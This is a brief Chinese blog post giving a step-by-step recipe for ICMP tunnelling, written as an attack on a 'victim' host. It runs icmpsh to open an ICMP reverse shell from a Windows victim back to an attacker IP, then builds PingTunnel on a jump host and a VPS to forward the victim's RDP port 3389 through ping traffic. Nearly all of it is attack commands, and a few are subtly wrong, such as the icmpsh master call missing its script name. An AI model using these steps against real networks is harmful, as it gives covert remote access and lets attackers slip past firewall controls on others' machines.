ICMP隧道搭建

2020-08-31

ICMP通信隧道搭建~

1. icmpsh搭建通信隧道

攻击机(debian/ubuntu)配置

git clone https://github.com/inquisb/icmpsh
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1
cd icmpsh
python attack_ip victim_ip

受害机(windows)

1	lcmpsh.exe -t attack_ip -d 500 -b 30 -s 128

2. PingTunnel搭建通信隧道

链接如下：http://freshmeat.sourceforge.net/projects/ptunnel/

跳板机环境搭建

# PingTunnel搭建
wget http://freshmeat.sourceforge.net/urls/f7770b6af3089face1ee4890eac8cee1
tar xf f7770b6af3089face1ee4890eac8cee1
cd PingTunnel/
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0/
apt-get install -y flex byacc
./configure
mv ./* ..
cd ../
make
sudo make install
ptunnel -x shuteer

VPS环境搭建

# PingTunnel搭建
wget http://freshmeat.sourceforge.net/urls/f7770b6af3089face1ee4890eac8cee1
tar xf f7770b6af3089face1ee4890eac8cee1
cd PingTunnel/
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0/
apt-get install -y flex byacc
./configure
mv ./* ..
cd ../
make
sudo make install
ptunnel -p jump_host -lp 1080 -da victim_host -dp 3389 -x shuteer

至此，访问vps的1080端口，即借助跳板机访问受害机器的3389端口。

本文作者： yd0ng
本文链接： https://yd0ng.github.io/2020/08/31/ICMP%E9%9A%A7%E9%81%93%E6%90%AD%E5%BB%BA/
版权声明： 本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。转载请注明出处！